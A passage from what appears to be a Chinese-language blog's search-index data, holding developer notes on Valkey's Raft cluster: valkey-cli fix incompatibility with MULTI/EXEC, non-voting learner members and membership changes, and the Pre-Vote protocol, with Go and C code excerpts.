BLOCKED_ASYNC 的命令，严禁出现在 MULTI/EXEC 块中。如果出现，直接报错拒绝。\n想法就是不使用事务了，而是就一条一条的执行， Raft的这边leader在commit日志了之后，再去回复client,期间client轮询即可。\n那我们先复现问题 # 先编译:\nmake -j$(nproc) # 多线程进行编译 然后在client侧我们在这条连接上面执行命令：\n~/Project/valkey cli-raft-fix-3867 ❯ ./src/valkey-cli -p 7000 127.0.0.1:7000\u0026gt; MULTI OK 127.0.0.1:7000(TX)\u0026gt; CLUSTER ADDSLOTS 0 QUEUED 127.0.0.1:7000(TX)\u0026gt; EXEC 1) (error) ERR This cluster command is not allowed inside MULTI # 目前MULTI操作是不支持的 然后进行测试验证：\n# Raft（验证 #3867） ./runtest --cluster-raft --single tests/unit/cluster/half-migrated-slot.tcl # 这个就一定会报错 # Gossip 回归 ./runtest --single tests/unit/cluster/half-migrated-slot.tcl # 这个可以实现结束之后进行回归测试 那么现在可以认为复现完成了。\nflowchart TB subgraph MULTI[\u0026#34;MULTI/EXEC 模型\u0026#34;] Q[收到命令] --\u0026gt; Queue[只入队 queueMultiCommand] Queue --\u0026gt; R1[立刻回复 QUEUED] EXEC[EXEC] --\u0026gt; Loop[同步 for 循环 call] Loop --\u0026gt; Assert[assert blocked == 0] Assert --\u0026gt; Array[按顺序写进 EXEC 数组回复] end subgraph Raft[\u0026#34;Raft 拓扑命令模型\u0026#34;] C[收到命令] --\u0026gt; Propose[立刻 clusterRaftPropose,Raft是不能被阻塞的，否则整个集群的状态机都会被直接积压住，这样会出现问题] Propose --\u0026gt; Block[blockClientAsync - 不回复] Block --\u0026gt; Wait[等 Raft commit] Wait --\u0026gt; CB[回调 addReply OK] CB --\u0026gt; Unblock[unblockClientAsync] end MULTI -.-\u0026gt;|同一命令不能同时满足| Raft Raft不能等，设计上就是一拿到命令就需要立刻进行proposal才行。 这就是核心的矛盾点。\n","date":"2026-07-13","externalUrl":null,"permalink":"/zh-cn/valkey/feature-raft-cli-tooling/","section":"Valkey","summary":"\u003cblockquote\u003e\n\u003cp\u003e也是非常有趣的话题，最近valkey引入了Raft算法。\u003c/p\u003e\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003e这个 PR 解决的是：Raft 集群里，\u003cstrong\u003e服务端对拓扑变更命令的执行模型变了\u003c/strong\u003e，\n但 \u003ccode\u003evalkey-cli --cluster fix\u003c/code\u003e 还在用旧的 gossip 事务模型发命令，两者不兼容。\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/valkey-io/valkey/issues/3856\" target=\"_blank\"\u003ehttps://github.com/valkey-io/valkey/issues/3856\u003c/a\u003e 可以来学习一下。\u003c/p\u003e\n\n\n\u003ch2 class=\"relative group\"\u003estart \n    \u003cdiv id=\"start\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#start\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003e首先切换的最新的上游分支：\u003c/p\u003e","title":"Raft Cluster valkey-cli Tooling Compatibility","type":"valkey"},{"content":" 也是Raft中一个很有意思的话题，我们来实现一个新的角色：Learner. 那这个实现的排期还挺紧迫的,这个毫无疑问也是比预选举协议更具有挑战性。\n原issue\n关于Raft的架构可以在Raft Cluster Pre-Vote Protocol中复习，这是我们做的第一个Raft相关的PR.\n刚好同时了解集群的原理:特性：Redis Cluster 集群\n需求是这么写的：\nImplement support for \u0026ldquo;Learner\u0026rdquo; or \u0026ldquo;Observer\u0026rdquo; non-voting roles in the Raft consensus group. 实现learner 或者 observer.（实际上就是learner）.\nNon-voting nodes should still replicate the Raft log to receive topology updates so they can serve client requests like CLUSTER SLOTS accurately. learner应该复制日志状态机，同时接受拓扑更新，这样就能精确serve来自client的请求。(读处理，写转发)\nThey should not participate in write quorums or elections, preventing performance overhead and scale limitations on the voting core. In a cluster with hundreds of nodes, it\u0026rsquo;s beneficial if only ~5 nodes are voting members, to minimize the risk of many nodes simultaneously requesting votes for themselves in a leader election, resulting in high risk of split vote. 不参与选举和日志写入的多数派的确认，防止选举的性能变差。 为什么不参与确认？ 因为同步这段时间内，新加入节点的log都很少，根本无法参与确认，如果一下加进来太多，会导致很长时间新的日志无法提交。 数百个nodes组成的集群，最多只要有5个nodes来真的做选举就好，减少许多节点同时发起选举导致的脑裂问题（虽然随机选举超时时间已经很大程度上解决了这个问题）\nSupport potential chaining-style replication of the Raft log where learners pull from other nodes rather than all overloading the leader. (This point seems like a separate feature, but we should think about the future possibility.) 就是如果说一个voting节点需要被上百个learner同时， 网络IO会成为瓶颈，是否使用链式复制（常见的设计思想，见Google File System中的Dataflow,就是链式的流水线传输。）\n之后reviewer和我们align了一下:\nI think we should add all nodes as learners by default. When a node has caught up with the raft log, it can be promoted to a follower. I believe this is some recommendation some paper. Btw, does any of you know which paper describes Raft learners? 这里的看法是，当一个节点被加入集群的时候，首先应当作为learner,之后完全同步上日志进度了之后（这里的考究就是，到底是必须一模一样还是说不一定完全一样），才能作为follower. 实际上这里的细节还需要考究，需要研究一下论文原文和etcd的源码看看。\nTo @nemtsv\u0026rsquo;s questions:\n1. Yes, a learner can be primary and replica. 在主从复制的特性中，learner可以作为主节点(own a slot),也可以作为从节点。 选举的时候不是主节点来做会存在问题么？\n2. I think it\u0026rsquo;s good to distinguish an entry that affects quorum from an entry that doesn\u0026rsquo;t, especially if we want to implement config-on-append later (Raft Cluster: Config-on-append for membership changes #3926). If we want to add all new nodes as learners first, then maybe NODE_JOIN should make the new node a learner. Or we add a flag to NODE_JOIN to say whether it\u0026rsquo;s a voter or not. Regardless, we\u0026rsquo;ll need to be able to promote learners to followers and demote followers to learners, so we\u0026rsquo;ll need new entry types for that. When a node is removed, NODE_FORGET would apply to learners and voters or should we split that one as well, i.e. demote to follower before we append NODE_FORGET? 我认为区分“影响法定人数（quorum）的日志条目”和“不影响法定人数的日志条目”是件好事，特别是考虑到如果我们以后想实现 config-on-append（追加时即生效配置）. 如果首先作为learner 添加，那么也许 NODE_JOIN 就应该默认使新节点成为 learner。 或者我们在 NODE_JOIN 中添加一个标志，来指定它是 voter 还是 learner。 无论如何，我们都需要具备将 learner 提升为 follower，以及将 follower 降级为 learner 的能力，因此我们需要为此引入新的日志条目类型。 当移除一个节点时，NODE_FORGET 应该同时适用于 learner 和 voter 呢， 还是我们也应该把它拆分开，比如在追加 NODE_FORGET 之前，先将其降级为 learner.\n这个地方还没对齐，还需要在调研一下。 -\u0026gt; 这里就应该直接移除这个节点,基于我们已经实现了预选举机制。\n3. Yeah, I think server.cluster-\u0026gt;size should represent the voters only. In gossip cluster, the cluster size is only the primaries with slots, i.e. the voters, so we can keep the same convention in raft cluster. 就是cluster大小仅代表voter的数量。但是这里矛盾的点不是learner也能作为主节点持有slot么？ 这个也好像不矛盾，主从和控制平面完全是两码事。\n4. Yeah PROMOTE \u0026lt;id\u0026gt; and something similar for DEMOTE \u0026lt;id\u0026gt; – one node at a time to match the current config-on-apply logic for quorum updates. But these words can also mean promote to leader, candidate, so maybe ADD_VOTER \u0026lt;id\u0026gt; and DEL_VOTER \u0026lt;id\u0026gt; is clearer? 修改一下语义？\n5. I don\u0026rsquo;t think this problem applies to this issue. A singleton leader becomes a joiner (just waiting to be added to a cluster) and then reverts to singleton leader again after a timeout. There\u0026rsquo;s no learner role involved here. Maybe it\u0026rsquo;s a scenario that only affects Raft Cluster: Merging non-singleton clusters #3868? We can discuss it on that issue. 这个是集群合并中需要考察的问题，就是leader的退化问题。\nThen, we\u0026rsquo;ll also need a flag in nodes.conf to say if a node is a voter or not. We could use one of these: 在集群配置中加一个标志，用于表明一个节点是否是voter。\n- node flags 就使用前两个吧 - aux fields - one of the unused columns ping-sent, pong-received\nJust a though: (If we ever want to do joint consensus, we could list all the voters on every quorum change, e.g. an entry like CONFIG_VOTERS id1 id2 id3 .... Did we already say we don\u0026rsquo;t need joint consensus? If we just keep a list of uncommitted voters or something, maybe it\u0026rsquo;s not really that difficult? 🤔 We can change this later if we want to implement joint consensus though. If we do it, we can just use this entry type every time we add or remove voters. There shouldn\u0026rsquo;t be more than 5 or 7 voters in a cluster, normally.)\n实际上主要就是搞清楚这几点 # 还有一点就是我们本次的变更都做的是单个集群成员的变更。\n共识角色和数据解耦 # 这是整个系统设计中最容易混淆的部分：\n数据层面（Valkey/Redis 语义）： 节点分为 Primary（持有 Slot 负责读写）和 Replica（负责数据同步）。\n共识层面（Raft 语义）： 节点分为 Voter（参与 Leader 选举和日志提交的 Majority 计算）和 Learner（只接收日志，不计入计算）。\n@zuiderkwast 明确了一点：这两种维度是正交的。 一个 Learner 节点完全可以在 Valkey 层面上是一个 Primary（负责特定 Slot 的数据）。\n这在“集群合并（Cluster Merging）”场景下极为重要，因为合并过来的节点必须能持有它原来的数据（Primary），但在它的 Raft 日志跟上大部队之前，不能赋予它投票权（Learner）。\n指令怎么设计？ # 为了安全地改变集群拓扑，你们决定采用单节点成员变更（Single-server configuration change），抛弃容易引发混淆的 PROMOTE/DEMOTE，转而设计明确的 Raft 控制命令：\nNODE_JOIN： 接下来你需要修改这部分逻辑，让新节点接入时默认以 Learner 身份运作，而不是立刻成为 Voter。\nADD_VOTER \u0026lt;id\u0026gt; 与 DEL_VOTER \u0026lt;id\u0026gt;： 这将是你需要新增的核心集群内部通信/Raft 状态机日志（State Machine Log）。 这两个状态机日志的目的就是为了进行learner和follower之间转换的操作。\nADD_VOTER 用于当 Leader 观测到 Learner 的 nextIndex 已经追赶上来后，发出一条配置变更日志。 就是你跟上我的log了，我才允许你上升成为follower。(这里的细节就是到底跟到了什么水平才会允许成为follower,见论文内部的细节) 当这条日志被多数派提交后，目标 Learner 正式成为 Voter，server.cluster-\u0026gt;size 才会立刻增加。 关于 NODE_FORGET 的小纠结： 维护者提出了一个很好的边界问题：如果要踢掉一个 Voter，是直接用 NODE_FORGET 把它踢走，还是强制要求先下发 DEL_VOTER 把它降级为 Learner，然后再下发 NODE_FORGET？\n在etcd的实现内部，是直接剔除这个节点，如果是voter，重算quorum,如果是learner,就更加可以直接删除。\n因为我们已经实现了预投票Raft Cluster Pre-Vote Protocol机制，所以被删除的节点不会扰乱集群。\n所以我们这里就直接删除即可,不需要进行两段式的下降，注意这里还需要立刻触发Quorum的重新计算。\nQuorum计算重构 # 加入的节点中需要过滤掉learner才行，这个比较明确。\n持久化 # node.conf, 标志位，知道对方是voter还是learner.\n在稍微看下论文和etcd的代码实现，调研一下我们就开始具体的实现操作。 事实上我们这个需要实现的就是单个集群成员变更。\n单节点集群成员变更的原理 # Joint Consensus已经在Raft-Extended Version 6-7 详解中进行了详细的陈述。 我们想在这里讲解一下单节点集群成员变更.\n有两个RPC: AddServer：向集群中增加一个server. leader侧实现： 1.检查是否还是leader 2.固定轮数内应该赶上leader,或者最后一轮超时，都添加失败 3.等待上一个config commited 4.添加新的config log\nRemoveServer: 从集群中移除一个server. 自己看图片吧。\nSafety # 抽屉原理 # 直接转换可能会导致split brain的出现。 比如： 在这种情况下，如果直接转换，可能就会导致两个leader被选出来。\nMost membership change algorithms introduce additional mechanism to deal with such problems. This is what we did for Raft initially, but we later discovered a simpler approach, which is to disallow membership changes that could result in disjoint majorities. 大多数成员变更都会引入新的机制来处理。 开始Raft也是这么做的。 之后我们发现了更简单的方法，那就是禁止会导致出现不相交的多数派的成员变更？ 上面这个例子，就是新旧的集群中没有出现交集。\nonly one server can be added or removed from the cluster at a time. 这就是单节点集群成员变更，每次只允许添加或者删除一个节点。\n依旧Understandability.\n单点操作的情景就是这样的: 很简单，比如（a）中向一个4个节点的cluster中加入一个node,那么原来四个的majority是3,现在5个的majority也是3,这33必有交集，那么一定不会出现脑裂,可以直接切换。\n依旧抽屉原理。\n配置为日志 # 集群配置被作为特殊的条目存储在复制日志（replicated log）中并进行通信。 这利用了 Raft 中已有的机制来复制和持久化配置信息。 这也允许集群在配置变更进行期间，继续为客户端提供服务， 做法是在配置变更和客户端请求之间强制建立顺序（同时允许两者在流水线和/或批处理机制中并发复制）。\nAppend即生效 # 当 Leader 收到从当前配置（Cold）中添加或移除服务器的请求时， 它将新配置（Cnew）作为一条日志条目追加到自己的日志中， 并使用常规的 Raft 机制复制该条目。 新配置一旦被添加到某台服务器的日志中，就会立即在该服务器上生效： Cnew 条目被复制给 Cnew 里的服务器， 并且 Leader 使用 Cnew 的多数派来决定 Cnew 条目是否已被提交。 这意味着服务器不会等待配置条目被提交才去使用它，每台服务器总是使用它在日志中找到的最新配置。\n一旦config entry 被复制，就需要即刻生效,这和数据的日志是有区别的。\n一旦 Cnew 条目被提交，配置变更就完成了。 此时，Leader 知道 Cnew 服务器中的多数派已经采用了 Cnew。 它也知道，任何还没有切换到 Cnew 的服务器都不可能再形成集群的多数派， 且没有 Cnew 的服务器也不可能被选为 Leader。Cnew 的提交允许继续执行以下三件事：\nLeader 可以向客户端确认配置变更已成功完成。\n如果配置变更移除了某个服务器，该服务器现在可以被关闭（shut down）。\n可以开始下一次的配置变更。在此之前，重叠的配置变更可能会退化为图 4.2 所示的不安全情况。\n所以配置变更请求应当具有幂等性，也就是真的一次只能加一个server,要不然就没有意义了。 上一次完成之前，下一次绝不能开始。\n为什么append即生效？ # 如上所述，服务器总是使用日志中最新的配置，无论该配置条目是否已提交。 这允许 Leader 轻松避免配置变更的重叠，只需在上一次变更的条目提交之前不开始新的变更即可。 如果服务器只有在得知 Cnew 被提交后才采用 Cnew，Raft 的 Leader 将很难知道旧集群的多数派何时采用了它。 Leader 将需要追踪哪些服务器知道了该条目被提交，而且服务器还需要将它们的 commit index 持久化到磁盘上； Raft 根本不需要这两种机制。 相反，每台服务器只要日志里有 Cnew 就会立刻采用它。\n不幸的是，这个决定确实意味着，由于 Leader 的更换，一条关于配置变更的日志条目有可能会被覆盖/移除（removed）； 在这种情况下，服务器必须做好准备，回退（fall back）到它日志中的上一个配置。\nRPC和config是独立的 # 在 Raft 中，达成共识（不论是投票还是日志复制）使用的是调用方（caller）的配置：\n服务器会接受来自它最新配置中并不存在的 Leader 的 AppendEntries 请求。否则，一个新服务器将永远无法被加入到集群中（它会拒绝接受所有在“添加该服务器的配置条目”之前的日志）。\n服务器也会把票投给它最新配置中并不存在的 Candidate（前提是该候选人拥有足够新的日志和当前任期）。有时为了保持集群的可用性，这张选票是必不可少的。例如，考虑向一个 3 节点集群中添加第 4 个节点。如果其中一个节点宕机，就需要这台新节点的选票才能形成多数派并选出 Leader。 因此，服务器在处理传入的 RPC 请求时，不会去查阅/参考它们当前的配置。\n这个issue描述的就是这样的问题，那这个处理就应该暂时不需要放在我们这里了，了解一下即可。\nAvailability # 这里才是我们要讨论的重点，可用性。 也就是learner需要满足什么？\n直接加一个空log的server可能会造成风险: (a)描述了什么？ 就是在空的S4被加入之后，S3瞬间fail，4节点的majority是3,但是此时对于之后的日志，暂时无法提交（当S4没有赶上最新的log的时候），此时你可以认为系统暂时失去了可用性。\n这里就是产生了木桶短板效应，之后的日志的提交都要等到这个S4结束才可以。\n(b)道理是类似的，就是你迅速成功的连续加入了3个server,但是此时之后要commit的时候，就一定需要456中的一个来commit,同样失去了可用性。\n4.2.1 Catching up new servers (learners) # 这才真的到我们关心的阶段，就是新加入的server先作为learner，等学习的差不多了，才升级成follower.\n暂时作为一个non-voting member加入。\n所以怎么追，一直追下去不是，这样就变成了著名的芝诺悖论， 阿喀琉斯能追上乌龟，但是learner却没办法追上server成为follower，我们肯定不可以进行无限的同步。\n我们有一套自己的机制:\n设想这样一种情景，new server加入了我们的集群。然后leader和这个new server开始进行同步的操作。 开始的时候new server的日志为空，需要复制的时间可能会长一点，这是round1,这期间，leader又拿到了黄色的日志，这是round2. 可以预想的是，之后的增量的日志会越来越少，因为之后需要同步的日志会越来越少，但是不会完全相同，除非client停止发送请求。 The leader needs to determine when a new server is sufficiently caught up to continue with the configuration change.\n那么leader就需要决定什么时候一个new server才是真的足够可以成为一个follower.\n事实上，Raft是，我们可以容忍的不可用性在一个选举超时时间之内。\n如果new server不可用，或者太慢，leader应该及时回滚这次集群变更操作。\n我们就采用这样的算法： 1.日志复制分成多轮，每轮都要全部复制round开始时收到的全部log. 2.等待固定的轮数（比如10轮），如果在最后一轮的时间小于了一个超时选举时间（这很合理），那么就可以晋升，这意味着目前的可用性是我们可以接受的。要不然就直接回滚了，意思就是我们接受不了这个时间。\n要时间短就需要实现日志的快速回退，这是我们之前实现过的，没有什么难度,不用我们来处理。\n我们主要修改什么？ # 每次改完之后，你可以直接进行三个测试:\n~/Project/valkey feat/raft-learners-3866* 11s ❯ ./runtest --single unit/cluster/cluster-raft-meet \\ --single unit/cluster/cluster-raft-proto \\ --single unit/cluster/cluster-raft 1.md文件设计，learner承担了什么角色。 2.增加配置文件中一个learner的角色\n一个值得商榷的地方是cacth-up-server在算法中的具体实现 # Raft论文中给出的手法是固定等待10轮，然后最后一轮看是否在选举超时时间之内。 这个目前还是没有定下来。 直接看match占比多少也是可行的。\n","date":"2026-07-12","externalUrl":null,"permalink":"/zh-cn/valkey/feature-raft-non-voting-members/","section":"Valkey","summary":"\u003cblockquote\u003e\n\u003cp\u003e也是Raft中一个很有意思的话题，我们来实现一个新的角色：Learner.\n那这个实现的排期还挺紧迫的,这个毫无疑问也是\u003cstrong\u003e比预选举协议更具有挑战性。\u003c/strong\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/valkey-io/valkey/issues/3866\" target=\"_blank\"\u003e原issue\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e关于Raft的架构可以在\u003cstrong\u003eRaft Cluster Pre-Vote Protocol\u003c/strong\u003e中复习，这是我们做的第一个Raft相关的PR.\u003c/p\u003e\n\u003cp\u003e刚好同时了解集群的原理:\u003cstrong\u003e特性：Redis Cluster 集群\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e需求是这么写的：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cem\u003eImplement support for \u0026ldquo;Learner\u0026rdquo; or \u0026ldquo;Observer\u0026rdquo; non-voting roles in the Raft consensus group.\u003c/em\u003e\n实现learner 或者 observer.（实际上就是learner）.\u003c/p\u003e","title":"Raft Cluster Support For Non-Voting Memebers","type":"valkey"},{"content":" 本文章写于cluster bus 可插拔raft协议改造的早期，此时还未成形， 只是笔者学习的一个记录而已,因为笔者在尝试在 redis 的 cluster V2中实现Raft的预选举协议。 已经merge,我们还可以进行一些复盘。\n原issue界面 这是valkey尝试实现可插拔的Raft协议中的预选举问题，这也算是一个有趣的工程实现。 这里我们还是需要首先研究：Diego Ongaro博士毕业论文原文 中的9.6节摘录： Preventing disruptions when a server rejoins the cluster One downside of Raft’s leader election algorithm is that a server that has been partitioned from the cluster is likely to cause a disruption when it regains connectivity. When a server is partitioned, it will not receive heartbeats. It will soon increment its term to start an election, although it won’t be able to collect enough votes to become leader. When the server regains connectivity sometime later, its larger term number will propagate to the rest of the cluster (either through the server’s RequestVote requests or through its AppendEntries response). This will force the cluster leader to step down, and a new election will have to take place to select a new leader. Fortunately, such events are likely to be rare, and each will only cause one leader to step down. If desired, Raft’s basic leader election algorithm can be extended with an additional phase to prevent such disruptions, forming the Pre-Vote algorithm. In the Pre-Vote algorithm, a candidate only increments its term if it first learns from a majority of the cluster that they would be willing to grant the candidate their votes (if the candidate’s log is sufficiently up-to-date, and the voters have not received heartbeats from a valid leader for at least a baseline election timeout). This was inspired by ZooKeeper’s algorithm, in which a server must receive a majority of votes before it calculates a new epoch and sends NewEpoch messages (however, in ZooKeeper servers do not solicit votes, other servers offer them). The Pre-Vote algorithm solves the issue of a partitioned server disrupting the cluster when it rejoins. While a server is partitioned, it won’t be able to increment its term, since it can’t receive permission from a majority of the cluster. Then, when it rejoins the cluster, it still won’t be able to increment its term, since the other servers will have been receiving regular heartbeats from the leader. Once the server receives a heartbeat from the leader itself, it will return to the follower state (in the same term). We recommend the Pre-Vote extension in deployments that would benefit from additional robustness. We also tested it in various leader election scenarios in AvailSim, and it does not appear to significantly harm election performance. 以下是翻译：\n问题背景:防止服务器重新加入集群时引起中断 # Raft 领导者选举算法的一个缺点是，当一台因网络分区（Partition）而脱离集群的服务器恢复连接时，很可能会引起集群中断。\n当服务器被网络分区隔离时，它将无法接收到心跳（Heartbeats）。 它很快就会增加自己的任期号（Term）以发起一次选举(收不到来自于leader的心跳，所以自己会不断++term,然后超时，然后重新选举)，尽管它不可能收集到足够的选票来成为领导者（Leader）。\n一段时间后，当该服务器恢复网络连接时，它那更大的任期号将会传播到集群中的其他节点（通过该服务器发送的 RequestVote 请求，或者通过它对 AppendEntries 的响应）。\n这里在这个断连的节点重新加入集群之后可以考察两种情况： 1.自己向其余的follower发送RequestVote请求，其余follower看到任期号之后提升自己的任期号，不会再回复当前的leader. 2.给leader回复的AppendEntries同理，leader会自动降级。\n这将迫使集群当前的领导者退位，并且必须进行一次新的选举来选出新的领导者。\n你可能会认为，这个领导者就算term很大，但是日志不是很老么，能有什么影响？ **但是实际的代码逻辑就是先比较term,如果对方的term更大，那么就提升自己的term,然后再看日志的新旧，造成的结果就是我的term提升了，但是日志上我拒绝了你，那么就是会造成大范围的term inflation,那么老领导者会被迫退位，造成新一轮的领导者选举，这一轮的term都会大幅上升。\n逻辑时钟是我们的第一标准，难道你就不好奇，为什么我们不能在RequestVote的时候先检查日志的新旧？\n实际上有这两点，原论文中有这样的规定: 论文 Figure 2 的全局规则（比 RequestVote 局部规则优先级更高） # 这条规则不区分 RequestVote / AppendEntries，也不区分最后有没有 Grant 票。 这个是铁律，但是为什么是铁律？\n若拒票时不升 term，会破坏「旧 leader 必须作废」的语义 # 假设允许：log 不够新 → 直接 return，term 不变。\nFollower F：term = 5 过期 Leader L：term = 5（多数派其实已失联，但 L 自己不知道） 捣乱者 C： term = 6，log 很旧 F 收到 C 的 RequestVote：log 旧 → 拒票，term 仍为 5。\nL 继续用 term 5 发心跳，F 仍接受。\n从可用性看似乎更好，但和论文设计目标冲突：\n论文要求：一旦集群里出现 term 6 的选举信号，所有节点都应认为「epoch 6 已开始」，term 5 的 leader 不能再被当作合法 leader。 安全证明依赖 term 作为全集群单调的逻辑时钟：见过 term T 的节点，不会再把 \u0026lt; T 的 leader 当真。 若部分节点升到 6、部分因「log-first 拒票」留在 5， 会出现 term 视图分裂，AppendEntries / RequestVote 行为不一致，证明假设被破坏。\n很简单，全局的逻辑时钟必须作为第一准则。\n原生的go代码大概是这样的：\n// 我是follower,当有candidate想让我投票的时候，我该如何处理？ // 这个视角应该就是我看args,然后填reply即可 // 在相同任期下，你才能进行投票的操作 func (rf *Raft) RequestVote(args *RequestVoteArgs, reply *RequestVoteReply) { rf.mu.Lock() defer rf.mu.Unlock() // 任期比我更小，不能给你投票 if args.Term \u0026lt; rf.currentTerm { reply.Term = rf.currentTerm reply.VoteGranted = false return } // 任期比我更大，我先升级一下自己 if args.Term \u0026gt; rf.currentTerm { rf.currentState = follower rf.currentTerm = args.Term rf.votedFor = -1 // 清理一下本次term的投票 rf.persist() } // 任期和我相同(包括刚升级结束的) // 我投票了，但是本来就没给你投 if rf.votedFor != -1 \u0026amp;\u0026amp; rf.votedFor != args.CandidateId { reply.Term = rf.currentTerm reply.VoteGranted = false return } // 处理log,是否够新,这里我们先看Term,然后看Log // 实际工程有预投票的实现，比较有意思，我们这里暂时不管 if !rf.isLogUpToDate(args.LastLogIndex, int(args.LastLogTerm)) { reply.Term = rf.currentTerm reply.VoteGranted = false return } // ok rf.votedFor = args.CandidateId // 因为进行了一次投票所以需要持久化 rf.persist() // 这次选票成功，也认为是一次压制 rf.lastRPC = time.Now() reply.VoteGranted = true reply.Term = rf.currentTerm } 幸运的是，此类事件通常很少发生，并且每次发生只会导致一位领导者退位。 如果需要，Raft 的基础领导者选举算法可以通过增加一个额外的阶段来进行扩展，以防止这种中断，从而形成了预投票（Pre-Vote）算法.\n在预投票算法中，候选人（Candidate）只有在首先从集群的大多数节点那里得知它们愿意将选票投给自己时，才会增加自己的任期号（前提是该候选人的日志足够新，并且投票者在至少一个基准选举超时时间内，没有收到来自有效领导者的心跳,就是leader应该差不多还活着呢，你为啥要让我投票）。\n这个基准超时时间不能随机化，就定成一个固定的时间最好。\n这受到了 ZooKeeper 算法的启发，在 ZooKeeper 中，服务器必须在计算新纪元（Epoch）并发送 NewEpoch 消息之前获得大多数的选票（不过，在 ZooKeeper 中服务器并不主动拉票，而是由其他服务器主动提供选票）。\n预投票算法解决了被分区的服务器在重新加入时破坏集群稳定性的问题。 当服务器处于分区状态时，由于无法获得集群大多数节点的许可，它将无法增加自己的任期号。\n注意，这里是直接无法增加，而不是增加了但是无法影响。\n随后，当它重新加入集群时，它仍然无法增加自己的任期号，因为其他服务器一直在正常接收来自当前领导者的心跳。 一旦该服务器接收到来自当前领导者自身的心跳，它就会恢复到跟随者（Follower）状态（并且保持在相同的任期内）。\n对于那些要求更高鲁棒性（Robustness）的部署环境，我们推荐使用预投票扩展机制。\n我们还在 AvailSim 的各种领导者选举场景中对其进行了测试，结果表明它似乎不会对选举性能造成明显的负面影响。(所以这个究竟是否需要引入还是需要评估性能问题，就是会造成一点负面影响，但是影响不大)\n当我们理解了问题了之后，就该看看代码究竟是如何组织的？ 不管是什么系统使用了Raft算法，我们都需要注意以下几个点。\n在这个仓库内部： 1.RPC是如何进行调用的？ 2.日志，server和Raft成员相关的结构体定义在哪里？角色状态是在哪里定义的？ 3.诸如AppendEntries和RequestVote这样的RPC调用定义在哪里？ 4.触发选举，心跳等方法在哪里？ 5.随机超时时间是在哪里进行定义的？ 等等\nRaft架构分析 # 怎么通信？ # 首先因为是在Redis内部，我们不会使用现成的RPC框架。 cluster bus TCP 连接 + 自定义二进制头 + 文本消息 (我就说其实RPC也没什么特殊的) 这里的「RPC」= 在 clusterLink 上发/收一条 bus 消息，流程如下。\n当发送出站消息的时候：\n消息都在16379上面进行传输。\n业务逻辑 → wireNewMsg(\u0026#34;AE\u0026#34;|\u0026#34;VOTE_REQ\u0026#34;|...) → wireFinishMsg → clusterRaftSendMsg → clusterLinkSendBlock → TCP 写出 比如:\n// 比如在总线上发送一个sds消息,如果发送失败,就直接free sds static void clusterRaftSendMsg(clusterLink *link, sds msg) { if (!link || !link-\u0026gt;conn) { sdsfree(msg); return; } size_t len = sdslen(msg); clusterMsgSendBlock *block = clusterAllocMsgSendBlock(len); memcpy(block-\u0026gt;data, msg, len); sdsfree(msg); clusterLinkSendBlock(link, block); clusterMsgSendBlockDecrRefCount(block); RAFT_STATE()-\u0026gt;stats_bytes_sent += len; } 广播用 clusterRaftBroadcast / clusterRaftBroadcastAppendEntries， 遍历 server.cluster-\u0026gt;nodes 对每个有 link 的 peer 发。\n当接收入站消息的时候：\n事件循环读 TCP → clusterReadHandler，首先读header, 然后检查内存，了解到整个数据包都进入内存了之后调用对应的方法来进行处理。\n读满 RCVBUF_MIN_READ_LEN 字节 clusterCurrentBus-\u0026gt;validateMessageHeader() — Raft 下检查 \u0026quot;RAFT\u0026quot; 魔数 + 大端 totlen 读满整包后 clusterCurrentBus-\u0026gt;processMessage(link) Raft 里即 clusterRaftProcessMessage，按首 token 分派到各 clusterRaftProcess* 处理函数 cluster_link.c:\nif (rcvbuflen \u0026gt;= RCVBUF_MIN_READ_LEN) { uint32_t totlen = clusterCurrentBus-\u0026gt;validateMessageHeader(link-\u0026gt;rcvbuf); if (totlen \u0026amp;\u0026amp; rcvbuflen == totlen) { // 分派给对应的方法进行处理 if (clusterCurrentBus-\u0026gt;processMessage(link)) { 还有一条路径就是： 当follower收到来自于client的某些消息的时候会进行相应的转发操作，转给leader处理。\n比如像是写操作？\n结构体是如何定义的？ # 因为是日志复制状态机，我们的日志是如何定义的：\n// 存在哪些entry类型？ enum raftEntryType { RAFT_ENTRY_NODE_JOIN = 1, /* Add a node 增加一个节点 */ RAFT_ENTRY_NODE_FORGET = 2, /* Remove a node 移除一个节点 */ RAFT_ENTRY_SLOT_CHANGE = 3, /* Slot ownership 占有一个slot */ RAFT_ENTRY_SET_REPLICA_OF = 4, /* Replication topology 复制拓扑 */ RAFT_ENTRY_FAILOVER = 5, /* Failover (manual or automatic) 故障转移 */ RAFT_ENTRY_NODE_INFO = 6, /* IP, port, hostname, etc. 一些节点信息 */ RAFT_ENTRY_NODE_FAIL = 7, /* Node failure detected 挂了 */ RAFT_ENTRY_NODE_RECOVER = 8, /* Node recovery detected 节点恢复 */ ...... }; typedef struct { uint64_t term; // 任期 uint64_t index; // 日志索引 uint8_t type; /* enum raftEntryType 当前条目的基本类型 */ sds data; /* Space-separated command arguments 空格隔开的传参 */ } raftLogEntry; 对于一个Raft Node存在的多种角色：\nenum raftRole { RAFT_ROLE_JOINER = 0, /* Stepped down singleton waiting to be added to a cluster */ RAFT_ROLE_FOLLOWER = 1, RAFT_ROLE_CANDIDATE = 2, RAFT_ROLE_LEADER = 3, }; 这个JOINER就是单机等待加入cluster的一个中间态。\n还有就是全局状态的定义，比如像是一些持久化的状态啊，leader需要维护的状态之类的： (这里所谓的全局应该就是leader的状态？)\n/* -------------------------------------------------------------------------- * Protocol-specific state (stored in clusterState.protocol_data) * -------------------------------------------------------------------------- */ typedef struct { /* Persistent Raft state */ uint64_t current_term; char voted_for[CLUSTER_NAMELEN]; /* All zeros = none */ /* Volatile Raft state */ enum raftRole role; uint64_t commit_index; uint64_t last_applied; /* Log */ raftLogEntry ** log; uint64_t log_count; 